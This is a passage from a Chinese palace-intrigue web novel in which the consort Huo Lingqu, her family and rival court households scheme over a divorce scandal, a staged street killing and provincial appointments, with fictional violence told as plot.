“假若章醇只是民妇,你还会觉得班氏做得过火吗?”霍灵渠看她问。 乐邑驳斥:“可章醇就是郡主,没有假若。” 她懂霍灵渠的影射:“我知道你想说什么,你可以去跟太后提,你看那么疼爱你的皇太后姑母能不能认同你?” 霍灵渠沉寂下略过:“听说,班氏要跟丈夫和离?” “是呀,为这么点事就要和离。”乐邑瞥瞥她:“真够金贵的,都快赶上你了。” “假若是我,我也会和离。”霍灵渠说。 乐邑看她显摆得:“这种事跟男人养个外室能差得了多少,至于吗?” 霍灵渠反对:“不一样,养外室只是风流,那位已经是人品堪忧,假若他跟章醇好上后能跟原家坦诚,他至少还有担当,能原谅,可他做的叫什么事,这还如何能原谅。” 乐邑恭维:“你可真不够心虚的。” “我有何可心虚,我又没藏着掖着。”霍灵渠骤然奋起:“我敢作敢当!” “好好好,你敢作敢当,你跟他们不一样。”乐邑安抚下感叹:“这种事吧,不多,但也不算新鲜,十个里面十个都是瞒着的,肯定是瞒着嘛,怎么可能坦诚。” 霍灵渠顺理成章总结:“所以那样的男人不能要。” 乐邑一噎,提醒她:“男人有毛病很正常。” 霍灵渠反驳:“这不是毛病,是人品有问题。” 乐邑再争辩:“假若你遇到个人品不好的,你就和离,一时痛快和离了,你想过你今后的日子要怎么过吗?那班氏现在是豪气,可她若是真跟梅浮雪和离了,你当她还能再嫁吗,谁家消受得起这样桀骜的媳妇,班家儿女的亲事都要受她影响了。” 霍灵渠道:“没有好姻缘就自己过呀,非得找男人作甚?” 乐邑站起来走人,不想理她。 没半刻钟,霍海啸进殿来:“你大伯让我来跟贵妃要个准话。” “大伯为何不自己来呀?”霍灵渠感伤,霍海啸表示:“你懂得。” 霍灵渠娇蛮哼声,霍海啸坐下来,问:“怎样啊,会不会怀个胎吓死你大伯?” “不知道。”霍灵渠就不想给保证了,一个个的都不相信她。 “你这么说,你大伯的小心脏是放不下来了。”霍海啸故意揶揄,霍灵渠安之若素:“那就让大伯再跟皇帝打声招呼吧,我已经跟皇帝打过招呼了。” 霍海啸怀疑:“你怎么跟皇帝说的?” 霍灵渠满不在乎:“我不保证我不会怀孕。” “……”霍海啸想捂脸:“皇帝没打死你和晏霁之啊。” “我跟他说,我与他可以只是合作,他非不愿意。”霍灵渠还苦闷呢。 霍海啸吓唬妹子:“章醇郡主昨天的遭遇,听说了吧?” “我不会出这种事的。”霍灵渠配合的放话,霍海啸随口问:“为什么?” “我家里人能打。”霍灵渠宣告,霍海啸哭笑不得:“你大哥都不好意思啊。” “是嘛,但凡虢王府能有个顶事的都没得闹那么难看,既然事情已经出了,谈善后呀,班氏未必不愿意心平气和,是章醇激怒了她。”霍灵渠好笑:“章醇昨天什么意思呀,不就是仗着她是宗室郡主,她不言不语,班氏又能奈她如何吗?” 霍海啸淡淡:“她给原牧烈那么大羞辱,原牧烈都没动她一根手指头。”章醇郡主昨天么当然自觉她能用沉默打发班瑛峡:“碰上个硬茬,就是老天都看不过去了。” 霍灵渠求证道:“班丞相默认女儿跟丈夫和离?” 霍海啸应嗯:“灵儿觉得不对劲吗?” “嗯,”霍灵渠点头:“我感觉班丞相未必不能容忍女婿和章醇的事,是虢王有反意,倘若这女婿牵扯不清,难保不会烧到班家,故而班丞相干脆割断干净。” 霍海啸和妹妹把话说完走后,霍灵渠去找皇帝,得知皇帝在宣政殿,让宫人递个口信,她想求见陛下,得到准许她去宣政殿的口谕,霍灵渠再找过去。 “陛下可能体恤,莫让虢王府煽动宗亲反污蔑班家是在欺辱宗室?” 嬴忱璧还以为贵妃有什么事:“丞相昨天就向圣人陈情了,圣人已传秦王送虢王夫妇,虢王闹不起来。不过,”皇帝嘴欠了下:“贵妃不是该偏向章醇吗?” 霍灵渠假笑:“所以我才不能不跟你说,我不保证我不会怀孕啊。” 语毕,霍灵渠翻脸走人,嬴忱璧一噎,唉,待会儿再去哄哄贵妃。 霍海啸回到家,把进宫的成果告诉祖父,霍擎略过孙女对班丞相的猜测,只问:“贵妃直觉,她怀个不是皇帝的胎,陛下都能容忍?”霍海啸肯定过,霍擎斟酌:“让霍秦川和晏墉过几天也去跟陛下打声招呼,再禀告太上皇一声,不,先禀告圣人。” 霍海啸同情:“我爹和英王少不了挨顿板子吧。” 霍擎呵呵:“没打死都算皇帝手下留情了。” 但,皇帝真能容忍吗?霍擎没底,但他孙女的嗅觉很敏锐,是没错了。 原牧烈被小妹拉到班府前,两位副将恨不得替世子动手地叫门,看客们迅速聚拢过来,乐邑和霍舒窈都没落下,行知陪着吴王和蒙少爷隐在人群中。 那位是被五花大绑着扔出来的,班瑛峡走到台阶前,没见过原牧烈也是一眼就找准了:“他非闹着我娘请你进府谈,我看不过眼,就帮了你一把。” 观众们啧啧,这做媳妇的还真是不想过了。 班落矜都有点没眼看,姑姑太生猛了。 原牧烈谢了声,走过去给他把麻绳解开再挥拳,第一拳就打得梅浮雪眼冒金星,以致于他也如章醇一般被打后连还手都不会,只有败退挨打的份儿,有几个看客都想替他嫌疼,这可是在战场杀敌的将军,看看原牧烈赤手空拳打他都跟拎小鸡崽似的。 乐邑撇嘴:“这还真是一点不会武的。” 霍舒窈讶异:“你还想过他可能会武吗?” 乐邑无语:“你动动脑子好吧,像晏霁之、薛述聪还有魏王他们,包括你二哥霍巨浪,虽然看着都不像会武,但谁不会啊?都是自小习武长大,你见过几家少爷是只读书不习武,谁能想到这还真是个手无缚鸡之力的。” 萧耿裕扬唇笑:“这就是穷儿暴富,没一点底蕴。” 她们俩和萧灼灼都侧头看看他,各自没话了。 原牧烈打断梅浮雪几根肋骨打得梅浮雪吐血,躺在青石板地砖上奄奄一息,行知目测,这男的应该已经脏腑出血终生难痊愈,原牧烈罢手,欲走时被小妹拉住,原牧蔷跟大哥说:还有惊喜哦,他直觉想到昨天章醇的遭遇,转眼看见小厮推车来。 大伙儿闻臭退后些,都猜出这两只木桶装着什么了,生怕被溅到。两位副将各提一桶,掀掉木桶盖,给那男的从头到脚浇个遍。乐邑直转头,霍舒窈也受不了,多数人避过不看,夜香与猪粪还是不同的,猪粪还能看,夜香实在难以直视。 行知没避的注视,吴王震惊:“先生都不嫌恶心吗?” “此人要与原家不死不休了。”行知的讥讽藏于淡漠:“不会想他给原牧烈多大羞辱,只想原牧烈羞辱他至此,他若不将原牧烈碎尸万段,他妄为人。” 原牧烈没有滞留地带家人离开,看客们紧随撤,瞬间一哄而散,班落矜快步往府里走,班瑛峡别过眼,让小厮们去打水,给他冲刷干净为止。 班太妃原还想劝和,和离不是儿戏,立时不想劝了,拉着堂妹回府里去。 建威侯世子请霍海啸喝酒,以为还得三催四请时,霍海啸赴会了。 “咱们两家五十余年亲戚在你我出生前就好得跟一家似的,一年前因佟蓁蓁闹些龃龉就好像要老死不相往来了,又是何必?”建威侯世子亲自给霍海啸斟酒,殷殷劝导:“姑祖母那么大岁数就别让她老人家伤心了,何况在深宫中,更得要团结。” 霍海啸酒喝了,没搭腔。 建威侯世子露出得逞的笑意,再劝霍海啸多饮几杯,一时欣悦,眼前冒出重影来,他困得眼皮打架,耳边传来指示:“你该下楼,等着霍超群了。” 他是要和霍超群里应外合,建威侯世子站起来,牵线木偶般往外走。 酒楼前车水马龙,霍超群带着两个朱家的下人在人群中晃荡,身边有个人伸着手臂说:“看,霍海啸出来了。”他顺着看过去,看见一团血红色,心脏咚咚跳着霍海啸、霍海啸,他拨出匕首冲向那团红色,一脚把他踹翻,拿匕首拍打他的脸挑衅。 两个人当街吵凶,闹出人命。 建威侯世子抢夺匕首捅杀霍超群,大多目击者们一震,建威侯世子还在不停的发泄:“让你对我不敬,我让你胆敢对我不敬?!本世子是国舅,待大皇子登基,我女儿做皇后,我就非但是国舅还会取代霍家,我还会是国丈,谁敢对我不敬都得死,都得死!” 目击者们就看他被溅得满脸血,人已经疯癫了。 建威侯赶来时刑部已将建威侯世子押走,霍超群送往霍家,唯剩一大滩刺目的红还在。他咬牙转去找皇后女儿,嘱咐好皇后如何教导大皇子,他出宫去找虢王。 怎么能出这样的大错乱来? 霍家挂起白帆,霍鸳娇和娉姨娘头重脚轻地走进霍家大宅,有种掉进地狱的不可置信,应该是霍海啸啊,怎么会变成超群?明明超群出门前他们还在庆祝呀。 霍超群被杀的消息传入芷筠斋,霍鹣娇怎么会相信,不仅不信,她还在屋里大发脾气,霍灵渠进屋,一地碎片,霍鹣娇还高举着花瓶,看着这堂姐忽然就定住了。 “跟我出宫。” 霍鹣娇颓然倒下,绷紧的心一下垮塌,两个宫娥扶起霍才人跟着贵妃走。 贵妃仪仗驶出皇宫来到霍府前,霍鹣娇跌跌撞撞往家里跑,跑进灵堂,她浑身僵硬,拖着脚步走到棺椁前,看见她才十四岁的弟弟躺在那里,霍鹣娇一瞬间有种心脏裂开的感觉,她颤着手扒开弟弟的寿衣,看见好多血口子,心脏狠狠一揪。 霍灵渠步入灵堂,霍桑柔带小祐挪到姐姐身边,霍灵渠把小祐抱起来,霍舒窈和霍雄鹰都在了,霍鸳娇姐俩都像没看见他们,他们与她们仨难得互不相扰。 “姨娘?”霍鹣娇瘫软在生母身旁,娉姨娘哭得心如刀绞,顾不得说什么,只一味哭。 霍鹣娇又爬向她姐姐,霍鸳娇搂着儿女们给弟弟烧纸钱,冷得牙齿打颤,也什么话都没有,超群怎么会不认得霍海啸,怎么可能会找错人? 霍鸳娇想笑,一想笑就泪流,直觉就不相信是霍海啸做的。 何况她这位嫡长兄从来都是聪明人,霍鸳娇再不愿意都得承认,她从来压不过霍海啸,霍海啸又怎会不懂报给父亲、请父亲决断比他自作主张强百倍。 霍鸳娇在心里大笑,眼泪哗哗流,她什么都不能说,一个字都不能说。 否则,下一个躺在棺材里的就是她了。 穆国公霍秦川拿着断亲文书上建威侯府郭家,自此霍家与郭家断亲! 建威侯哪里能想到霍家只因这么点事就要跟郭家断亲,霍超群能算个屁呀,他还想压压霍家好让刑部放人,穆国公冷绝而去,他追也不是、不追也不是。 毕竟维系住和霍家的亲戚关系对郭家有好处。 霍秉坚回京复命,踏进灵堂,给贵妃娘娘请个安,给霍超群上柱香。 处置是第二天下来的,建威侯世子当街杀人,罢黜世子位,秋后问斩。 郭家反应剧烈,家眷们闹着要去找皇后,建威侯的心却是凉了。 未满八岁的大皇子带着他三岁多的妹妹跑到皇极宫前闹着父皇不能处死他舅舅,直嚷着若是父皇要处死他舅舅就先处死他们、舅舅若有不测,他们兄妹就死给父皇看,嚷过多遍,皇帝没现身,禁军统领出来,传陛下口谕,杖责,打到大皇子认错。 十几大板落下,这七岁多的小小少年终是没抗住,认错了。 御前总管率领宫人送大皇子和二公主回去,而一直到天黑,郭皇后和建威侯都没动静,就大皇子带着妹妹闹了场,阖宫上下,宫里宫外的人们看得也是奇了,真觉好笑都不想笑,皇后和建威侯还真做得出来呀,躲在两个小孩身后。 看笑话之余,多半的人都能有点猜测了,陛下对大皇子怕是没多少寄望了,这种情形,对二皇子是很有利的,偏偏楚昭仪,唉,他们看好还在襁褓的四皇子都强过看好二皇子呀。是以今朝二皇子五岁生辰,嫔妃有送礼,宫外没有一家大臣祝贺。 楚昭仪的母亲进宫来看望昭仪和两位皇子,皇帝给话,让楚昭仪和母亲好好聚聚,他就不打扰她们母女相聚了,把二皇子和三皇子都接去了皇极宫。 楚夫人看着,这可怎么是好:“你和陛下怎就闹到这个地步了呢?” 楚昭仪扯扯嘴角,刺目的讥讽,楚夫人一惊,这,莫非不是那庶女恶意中伤,这女儿确实也有大问题?见贵妃不行礼、见皇后不行礼、见陛下还不行礼,这,这若是真的,这孩子在想什么呀,她昏头了还是被五通神附体中邪了? 据传,钟萃宫这天很不安宁,楚夫人和女儿费尽口舌仍然未有用,忍耐不住发了火,乃至于怒火滔天,楚昭仪面对亲娘也寡言少语,楚夫人是跟楚昭仪翻脸走的。 侯瞻让办好差事回京,见过圣人和陛下就去找霍海啸质问。 霍海啸面对来人对他的责问,走去庭前,再指指灵堂,示意他家在办丧事。 “好,我不该在这时候来,但既然我来都来了,问也问了,你给我个交代吧。”侯瞻让蹙额痛恶还有对友情的痛惜:“我爹六十岁了,我爹娘四十多年夫妻,霍家硬塞个小妾来,还非要逼着我爹弄出个庶出来,不觉太无耻了吗,你为什么要这么做?” “无耻?交代?” 霍海啸云淡风轻:“你很受不住吗?贵妃赏赐个妾室给你爹,你就受不住?” 侯瞻让冷硬克制:“霍海啸,你不要让我后悔跟你做过二十多年兄弟。” “这话该我对你说!”霍海啸目光如电,怒不可遏:“是我瞎了眼,居然能跟你做二十多年兄弟!只因一个弟媳妇,你就能斩断这二十多年的兄弟情跟霍家结成死仇,既已成仇,你还能来向仇家要交代、质问为何要对付你家,你又是个什么样的人? 给你爹送个妾室惹你娘不痛快而已,你就能蹦这么高,我家呢,我两个妹妹遭多少罪,有人想害霍家死绝,霍家压着多大的恨?!合着,对你,你家伤到根寒毛都是天大的事,我霍家被盯着算计十多年想覆灭霍家都该不痛不痒?” “滚!” 侯瞻让握握拳,咬牙想致歉时,滚字传入耳,他难以置信地看向他,霍海啸再骂遍滚,侯瞻让夺门而走。 在廊下和侄儿侄女们排排站的霍枫叶踹脚霍雄鹰,霍雄鹰反应过来去追,跑上门来骂他们家无耻还想不挨揍就走脱,哪有那么便宜的事?! 霍枫叶冷嗤,侯瞻让竟是比侯瞻渥、侯瞻逊不耻的货色。 霍桑柔心里莫名,霍舒窈恨:“怪不得,侯瞻渥要去找媳妇,跟霍家僵持那会儿,他一个字都没有,他心酸难受他娘偏心时都是谁陪着他过来的,活该他娘往死里偏心侯瞻渥。” 霍灵渠想笑,交代? 侯瞻让何以能在主动掐断和她大哥这二十多年的兄弟情后还能来霍家质问要交代?就是她大哥对侯瞻让太好了吧,好到让侯瞻让觉得霍海啸对他好是应该的,好到两家成为仇家、受仇家一点攻击、侯瞻让都受不住地要来质问。 还能觉得是霍家无耻,还能对霍海啸说出:你不要让我后悔跟你做过兄弟。 外人看来,两人做兄弟期间必是侯瞻让迁就霍海啸多,谁想,根本是反着来的。 乐邑长公主到霍家,抓过霍灵渠和霍舒窈就走,寻个僻静处问她们:“霍超群这个事,是不是霍家在自导自演?是穆国公亲自安排的,就为跟郭家断亲?” “你说什么呀?”霍舒窈当然不能认。 “行了,别跟我装了,她们几个太妃推测出来,这事就是你们霍家在自导自演,我母妃跟我说,鞠太妃让我告知我公爹,我回去跟公婆一说,你知道我公爹怎么说?”乐邑好笑:“既然郢国公这么想坐收渔利,这么点事都妄想把薛家推出来,就送个顺水人情给他。” “是朱家的主意。”霍灵渠道:“建威侯府与霍超群合作,建威侯世子将我大哥约出来,想让我大哥当街杀死霍超群,霍家便转送给了郭家。” “天啊,怎么又是朱家?”乐邑真觉反感,转念想诧异:“哎不对,什么叫跟霍超群合作杀死霍超群,霍超群怎么会答应这样的事?” “人家许诺他假死,换个身份给他荣华富贵嘛。”霍舒窈对霍超群的死一点伤感没有,她看着娉姨娘和霍鸳娇姐俩悲痛的模样就只有恨!她们也知道痛啊?! “哎呦,”乐邑糟心:“这事,我估计肯定瞒不住,要传到我父皇和皇兄耳中的。” “圣人和陛下在昌隆侯给郭家和霍超群送主意的当天就知道了。”霍舒窈讽刺:“大家都有数的,就郢国公,以为就他聪明就他看出来了。” “唉,”乐邑忽然就挺想叹气的。 “曾祖母晓得吗?”一颗小脑袋探出来,是霍未央小姑娘,霍舒窈揉揉侄女的小脑袋:“祖母又不是只有一个娘家侄儿,好啦,不用你操心了。” 皇帝微服出宫,去看看暂时和翟猛做邻居的前江南总兵,稍站片刻,臧芣缄过来请安,嬴忱璧没有转身,淡淡交代:“你去昌隆侯身边,该叮嘱的,圣人都说了,朕只重申一点,尽量保障将迁入塞北的民众安稳撤出长江以南。” 臧芣缄低头,拱手道:“是,陛下。” 湘王押送柴家人回京,获悉霍家今日给霍超群出殡,柴家人投入刑部大狱,湘王带两个副钦差去面见过父皇和皇兄,他再独自见过母后,就赶去霍家送表弟最后一程。 霍超群出殡,他还没想问蓁蓁的近况,霍雄鹰即毫不拖拉的把佟蓁蓁的情况告诉给他。 湘王沉默会儿,喃喃问:“你没骗我,我是说,昌隆侯跟她说,她就算失身给镇南侯,镇南侯不要她,她照样可以赖给我,再谋划做我的王妃,反过来就不行了。” 霍雄鹰傲娇:“我稀罕骗你吗?” 湘王再沉默会儿,怏怏走了。 霍雄鹰转个身去跟贵妃姐姐说,霍灵渠猜:“湘王对佟蓁蓁的心思要淡了。” “能这么容易?”霍雄鹰不大相信。 “湘王受尽娇惯长大的,他是疼爱佟蓁蓁,又不是犯贱。”霍灵渠轻轻道,霍雄鹰想想同意了:“也是,就佟蓁蓁对他这态度,他还往上贴可真要犯贱了。” 午时,霍灵渠没留在霍家用膳,带霍鹣娇回皇宫了。 同个时辰,晏霁之抵达荆湖巡抚衙门,雷厉风行地颁钦差令以及代行巡抚职权,整个衙门以数倍于平常地忙碌起来。 府衙外,楚姑娘藏在暗处,看得心酸极了,一个月前,人家说让她爹暂且停职,她看这人是不是傻得,原来真正傻的人是她。 巡抚衙门的众位和聚过来的几位府尹也很晕,他们安排好酒宴欢迎钦差,酒不必喝了,饭也不必吃了,干活吧,还一来就连颁调令,原来在这个县,把你调去那个县,原来在这个州府的,把你调到那个州府去,这一下竟就调动三成多。 暂且停职的楚巡抚的安排也下来了,降做府尹,调往的州府嘛,相当于去做富家翁的,说好听点是给两位皇子体面,可又能有多少体面,这都给贬谪了。 大家忙到傍晚,巡抚衙门闭衙了,楚大人也没来谢恩,同僚们打圆场,再请钦差移步,他们已派人在酒楼安排好晚宴,不想又被推了,被推了不要紧,还要被留下来干活,这就…扎心了,扎心了还要被问:“楚大人在巡抚位时有违法乱纪吗?” 瞬间个个精神大作,晏霁之道:“我大概会在荆湖待六天,少则五天,我离开当天,你们把知道的呈上来,不是给我,是送去京里,圣人和陛下想看看。 不必顾忌,尽管畅所欲言,圣人和陛下都不想看见一家出个女儿伴在君王侧还生了皇子就忘乎所以,倘若真有这种不良风气,就趁势治治这股歪风。” 大伙儿眼神交流下,笑着应,再各自去做事。 薛家的晚宴很丰盛。 薛述聪哥俩是同一天回京的,一个上午,一个下午,薛述嘉真没想到他才离京一个月,京里这么热闹啊,不过对于老娘出的丑,晚宴时,他很感慨得谢过老爹,家人们奇怪看他,薛述聪解释:“感谢爹压过了娘让我们兄弟的脑子不是随娘。” 众人:“……” 显国公神情很难言,平原拍儿子的手臂:“你个孩子,胡说什么呢?” 但总的来说,薛家当夜很欢乐,只是一觉醒来就被打碎了,皇帝又把这哥俩踹走了,薛述嘉和谷 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“大哥你真的不跟我们同行吗?一样的差事,你非得晚两天做什么?” “为了显示我们是两队人马。”薛述聪说。 “反正都一样的差事嘛,有什么好区分?”薛述嘉再争取。 薛述聪灵魂一击:“你也还要去祝寿?” 薛述嘉手僵下,装作若无其事地进马车,一句话没有,走了。 城门前的告别落下帷幕,崇孝长公主府前的告别又开始,今天是任逍入晋王府的日子,晋王不在京中,晋王妃故意压制,崇孝让她的长子来送任逍去晋王府都掩不住他们的心酸,送过表妹、安抚住舅舅,崇孝就赶去找胞弟魏王。 今天还是放郭太太出宫并且让她带走赖嬷嬷母女的日子。 郭皇后自母亲走后就不安,忐忑地祈祷着爹要管住娘啊,霍贵妃突然来到她的病榻前,贵妃什么都没做,郭皇后都哆嗦了下,霍灵渠知会她:“你娘离宫没两个时辰,又回来了,之后发生了什么事,我不说,你也猜到了吧?” 郭皇后想哭,她能不能说她没猜到? “我给你两个选择:一,在怡华宫里找间偏僻的屋子关她三天,你今后用八品的份例;二,关她十天,你用七品的份例。” 霍灵渠问:“你想选哪种?” 郭皇后低头不语,霍灵渠发火:“你想让我帮你选?” 靠在病榻里的郭氏急忙举起手比出两根手指,霍灵渠没好气道:“行了,就这样吧,我关她十天放她出来,你再留她一天,好好管管她让她安生些,你要是一个人管不住就让你爹来帮你,她安生些也是对你好,这你总懂得吧?” 郭皇后还是低头不语,霍灵渠训:“说话,哑巴了?” 被霍贵妃吓得,郭皇后连忙应:“懂,懂懂懂得。” 是夜,杭婕妤的父母在其长子的陪同下进宫,是杭父求到班丞相门下,求了两天求得班丞相同意向陛下禀告:杭家要举家离京,想在出京前见杭婕妤一面。 “出京?” 皇帝看着丞相,似想不通,班丞相低头未语,皇帝又转向御前总管,蒋厚运低头禀报:“是,是芮尚书。” 芮家把杭家折腾得在京里根本待不下去了。 “今夜让他们入宫趟吧。” 杭太太被告知她女儿在掖庭狱时还有侥幸,不可能啊,怎么可能,她女儿是妃子,是在宫里享福,等走进掖庭狱这个恐怖的地方,看见被关着的女儿,泪流满面。 谁家欢喜谁家痛,杭婕妤在六月初一的太阳光照耀下走出掖庭狱,皇宫外,佟家租赁的宅院锣鼓喧天,佟妙兮出阁,嫁房祯毅,因这桩喜事,佟图匡还得了件新衣裳。 喜宴摆了一天,天黑散宴,醉醺醺的佟梦奭被塞张名帖,佟梦奭一看,佟梦骜的亲家,立时不醉了,摸黑出门去。 佟图匡看着长子偷摸走掉,眼神微闪,去给老妻送吃食。 班家更热闹,六月初二,班瑛峡与梅浮雪和离,两人的两个孩儿都跟母亲,班瑛峡当天就给两个孩子改姓班,梅浮雪则去了虢王府求亲。 “他们连婚期都定下来了,六月二十六,章醇嫁梅浮雪。” 送过薛述聪出京办差,没过午时,乐邑进宫去,还和霍舒窈遇上了。 “而且这梅浮雪被调进京了,不知道谁给圣人吹耳旁风的,反正他跟章醇的亲事一定,才半个时辰,调令就下来了,虽然是平调,但是同在京里啊。”乐邑瞧这头昏脑涨得,她都不知道有没有见识过更扯得:“这热闹的,都没什么人关注玉藏珠了。” 霍家姐妹俩关注她,乐邑斜睨霍灵渠:“玉藏珠进京了,你总晓得吧。” 霍灵渠略过道:“章醇郡主就同意了?” “废话,她跟那男的偷情好几年,这对她都是再好不过的事了,她有什么好不同意?”乐邑无语,霍灵渠惋惜:“我只是觉得章醇郡主不应该同意,宁可她自己抚养孩子长大都好过同意这门亲事,同意了,她的骨头就彻底被打碎了。” “可也由不得她不同意啊。”霍舒窈道:“虢王同意了,哪还有她置喙的份儿,何况她若这时候跳出来反对不还是矫情嘛,一样要受尽唾沫星子的。” 霍灵渠怀疑:“此人娶章醇后还能对章醇好吗?” “怎么可能,你不想想,章醇此前怎么被班氏打,这梅浮雪又怎么被原牧烈教训的。”乐邑推测:“这堂姐婚后,那梅浮雪九成九都不会碰她的。” 霍舒窈摇头:“造孽。” 乐邑赞同,可不是造孽嘛。 霍海啸和原牧烈各率铁骑出城,霍秦川拽着晏墉去太微宫,给预防过,霍秦川就喊冤:“圣人您明鉴啊,是贵妃自个儿跟陛下说的,老臣一获悉就来告罪了。” 太上皇问:“贵妃若是有孕了?” “能不能,圣人您宰了他们两个,给我们俩老头留条命。”霍秦川建议,晏墉很赞成。 “滚吧。” 二人如蒙大赦告退,其实大家心里都清楚,多少双眼睛盯着呢,霍贵妃和晏霁之想出事都出不了事,这不过是章醇郡主对贵妃的影射太重,贵妃不想被阴阳怪气,自己引爆而已。但在皇帝面前,他们说贵妃不保证她不会怀孕还能没事吗? 皇帝不气都得表态,霍秦川和晏墉各挨了五十大板。 晏副相赶往英王府探病,显国公去霍家,得知情况表示:“真活该。” 霍秦川龇牙咧嘴:“我谢谢你来探病。” 显国公不解:“贵妃怎么会跟陛下说这样的话?” “这朝堂上下不都觉得贵妃和晏霁之还没断干净么,陛下也不怎么放心,这章醇郡主的事又今年都消不掉影响,换你你受得了成天被捕风捉影指桑骂槐?”霍秦川假装没想炫耀:“咱们跟人家不一样,敢做就敢当,那就跟陛下打声招呼呗。” 显国公默下对上进屋来的房副相,房副相淡淡笑,瞧这事做得高明啊。 翌日辰时末,晏霁之离开荆湖巡抚衙门,赶往江南。 昌隆侯在五月底收到他送给霍家的开胃菜被破解的消息,六月初抵达江南,小暑当夜,他去见柳巡抚还拿此事探讨:“霍家怎么发现的呢?” 柳巡抚猜:“建威侯府和那位娉姨娘都不是能藏住事的吧。” 昌隆侯这才被气出来:“古碌也被抓了,霍秉坚来办得?” 柳巡抚应是,昌隆侯问他:“你看楚家还有多少用?” “是我和楚大人?”削减行省,被撤巡抚,柳巡抚对自己不意外,对楚家还是讶异了,昌隆侯道:“嗯,六月二十颁布,南边变动得还是挺大的。” “楚家或许没什么用了。”柳巡抚预计,昌隆侯看他,柳巡抚笑道:“不值一提的小事,楚昭仪都能搅成那副模样,楚大人也在您眼中,楚家还能爬得起来吗?” 昌隆侯沉吟稍许,温和展笑道:“我家老太太喜欢小辈儿,她快过寿了,让你家丝缘姑娘带着大侄儿随我去添个彩头吧。” “好。”柳巡抚利落地派下人把女儿和长孙传来,让女儿带着长孙跟昌隆侯走,柳丝缘看眼父亲,抱紧熟睡的大侄儿,柳大少爷想阻拦硬被柳巡抚挡住。 茫茫夜色,柳巡抚送过昌隆侯带他女儿和长孙走,柳少爷抗议:“爹?” “他知道我可能想退了,不安抚住他,只会更糟。”柳巡抚告诫:“世子今夜已入江南,明晚会过来,你带世子走密道进府,不要让府中任何眼线发现。” 柳大少爷咬牙忍住了。 第二天夜里,柳巡抚静静坐在书房,烛光将他照得愈发沉寂。 亥时,晏霁之步入屋中,柳巡抚见礼过,晏霁之道:“柳巡抚才48岁吧?” 问他给出的底价,你才48岁,就愿意死了? 聪明人说话,一点就透。 柳巡抚释然笑:“是啊,老夫虚活四十八载了,我是农家子出生,小时候家里供我读书,把家底都掏空了,好在我读了出来,我在二十五年前在我23岁时高中状元。 以为考中状元就能苦尽甘来,第一个难题就摆在我面前了,我被师座看中想招为女婿,是娶官家女还是不辜负老家里的?那天,我也这么坐着,坐了很久很久。 我选了仕途,从此我平步青云,可有些伤疤注定要裂开。丝缘她姨娘,当年我抛弃她,她嫁人后过得不好,丈夫死了,一个寡妇带着个孩子,过得就更不好了,兜兜转转又再遇上也就乱了,我纳她做妾,生下一双儿女,我夫人嫉妒得发狂。” 柳巡抚失笑:“我这官做得越大,家里就越乱,直到有天,我发现这天似乎不大对了,我又想了两年,也就想明白了,人要求多少呢?自己没白活,能护得住家眷,也就够了。我这一生,我没有白活,我活得很精彩,我还差什么呢?” 晏霁之略唏嘘:“我这一趟,柳巡抚也知道,是确定迁入塞北的名单,江南迁六千户,我就全权托付给柳巡抚了,六月十五前把名单落实下来,送往京里。” 柳巡抚有点意外,晏霁之眼中似有光:“我相信你。” 世事浮沉,经历得多了,柳巡抚还是霎时有点眼酸,晏霁之含笑祝愿道:“去塞北吧,塞北的天空很辽阔。” 柳巡抚克制住,送上木匣,晏霁之摆手推道:“都呈上去吧,动迁二十万人入塞北,第一笔至少五百万贯就得先实打实给出去,这一动迁没个千万贯怎么也下不来。” 柳巡抚站起来,俯身作揖行大礼,晏霁之遂也站起,作揖回礼。 客人离去,屋门又被推开,夜风忽凉,柳巡抚看见他夫人站在门前,对视片刻,柳大人走到门槛前,柳夫人倔强得还是红了眼,柳大人轻轻揽过,拍拍夫人的肩。 朱家,得到京畿来人祝寿的消息,有人问:先生,人都要来了,你怎么反而还走啊? 窗花上的剪影笑:他既非为我而来,我亦不可因此即与他会面。 151. 第151章 酷暑降临,皇帝定:取消六月十一、六月二十一的早朝,小暑和大暑各排两天假,小暑至大暑期间,官衙可提早半个时辰放衙。 六月初九放冰,霍灵渠在见到皇帝时多看他两眼,嬴忱璧问怎么了吗? “往年小暑前几日就会放冰了,今年冰窖的藏冰很少吗?” 霍灵渠总觉得皇帝故意的,嬴忱璧笑笑,似能懂贵妃所想:“朕是故意拖延了几日。” 皇帝没有谈及缘由,霍灵渠也没多问,反而嬴忱璧又问:“贵妃没有想跟朕说的了吗?”惹得霍灵渠再看看他,直觉猜测:“陛下想谈楚昭仪?” 嬴忱璧笑了,他这位贵妃是真懂得帝王心思呀:“贵妃不想谈吗,当前,楚昭仪还是自己负担花销,宫中放冰,楚昭仪可没少掉给自己添置冰盆。” “你觉得她不该添置冰盆,只因她在你眼中曾是不屑名利富贵?”霍灵渠冷下脸讽刺:“人有银两能让自己过得舒服些时为何苛待自己,你对人是刻薄。” 霍灵渠踹他一脚走掉,嬴忱璧一噎,看向摇篮床中的皇儿,去哄贵妃。 乐邑长公主到来,被搅扰的皇帝放掉陪贵妃用午膳,回宣政殿。 “唉,皇兄这阵子怕是没少被芮尚书为难。”圣人要查处芮家及其亲属,显国公在办,乐邑自然知道些情况,霍灵渠诧异:“日头这样晒,你怎么还出门了?” “来给我母妃送银两,酷暑用冰又是一笔花销嘛。”乐邑落座,宫人们奉上冰碗退下,霍灵渠剥颗荔枝,打探道:“我听说,晏明妧在闹着要回娘家照顾父亲?” “对啊,跟狗皮膏药似的,真不嫌难看,谁看不懂她打什么主意。”乐邑冷嗤道:“她在英王府前闹了三天,英王烦了已经让晏煦之把她绑了扔柴房里。” 霍灵渠垂眸,晏明妧这样死缠烂打非要扒着娘家,得不到,会否生怨? “对了,我这还有桩热闹呢,我太小看我这位大姐了,她居然跑太微宫了,就为任逍在晋王府被晋王妃磨搓,她隔两三天去看趟还不够,竟然还能去找父皇。”乐邑无语得够了:“她这到底是表姐还是任逍的亲娘啊,对任逍比对亲闺女还上心。” 霍灵渠忆起来:“任逍入晋王府那天,崇孝长公主又和魏王吵架了?” “可不嘛,不过,”乐邑凑近些,掩唇道:“崇孝她去太微宫没见到父皇。” “你是说圣人在晾着长女?”霍灵渠讶然。 “对啊,她等了一个多时辰,父皇都没理会。我们姐妹就我和大姐小妹了,这大姐又是嫡长女,按说怎么都不至于,”乐邑颇有点小心翼翼:“我都觉得,父皇在嫌恶长女,不然何至于这样下长女的脸,这是嫌她拎不清,看都不想看她呢。” 霍灵渠突然想到:“崇孝长公主还会再管任逍吗?” 